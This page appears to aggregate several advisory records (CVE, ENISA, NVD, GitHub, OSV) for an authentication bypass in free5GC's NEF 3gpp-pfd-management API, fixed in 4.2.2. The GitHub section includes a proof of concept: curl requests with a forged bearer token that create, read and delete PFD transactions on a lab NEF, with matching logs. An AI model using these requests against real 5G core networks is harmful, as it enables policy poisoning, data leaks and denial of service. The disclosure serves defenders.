free5GC: NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions

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free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed. This vulnerability is fixed in 4.2.2.

Source published

27 May 2026 15:52:51 UTC

Source modified

27 May 2026 17:22:44 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 9.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed. This vulnerability is fixed in 4.2.2.

Source published

May 27, 2026, 3:52:51 PM (timezone not stated)

Source modified

May 27, 2026, 5:22:44 PM (timezone not stated)

Observed here

9 Nov 2026 11:03:36 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed. This vulnerability is fixed in 4.2.2.

Source published

27 May 2026 17:16:36 UTC

Source modified

14 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 10:17:21 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

### Summary free5GC's NEF mounts the `3gpp-pfd-management` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`). The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-pfd-management` route group is mounted and reachable with no inbound auth middleware. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:52` - Transaction routes exposed at `/:scsAsID/transactions` and `/:scsAsID/transactions/:transID`: `NFs/nef/internal/sbi/api_pfd.go:13` - Create handler still contains `// TODO: Authorize the AF`: `NFs/nef/internal/sbi/processor/pfd.go:70` - POST allocates a new PFD transaction and writes to UDR: `NFs/nef/internal/sbi/processor/pfd.go:63` - GET reads transaction state: `NFs/nef/internal/sbi/processor/pfd.go:189` - DELETE removes transaction state: `NFs/nef/internal/sbi/processor/pfd.go:328` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. 1. Seed an AF context (also accepted with forged token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions ``` 2. CREATE PFD transaction with forged token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S*)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions ``` 3. READ -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 4. DELETE -> `204 No Content`: ``` curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 5. READ again -> `404 PFD transaction not found`, confirming state was actually deleted. NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success codes: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2] [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/af-poc-pfd2/transactions [INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 [INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can: - Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification. - Read existing PFD transactions, leaking AF-supplied policy data. - Delete PFD transactions, denying service to legitimately provisioned application detection rules. The PFD-management route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc <=v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23

Source published

8 May 2026 22:39:16 UTC

Source modified

25 Jun 2026 18:56:10 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

Publisher rating · CRITICAL

free5GC's NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions in github.com/free5gc/nef

Source published

25 Jun 2026 18:26:48 UTC

Source modified

25 Jun 2026 18:45:26 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.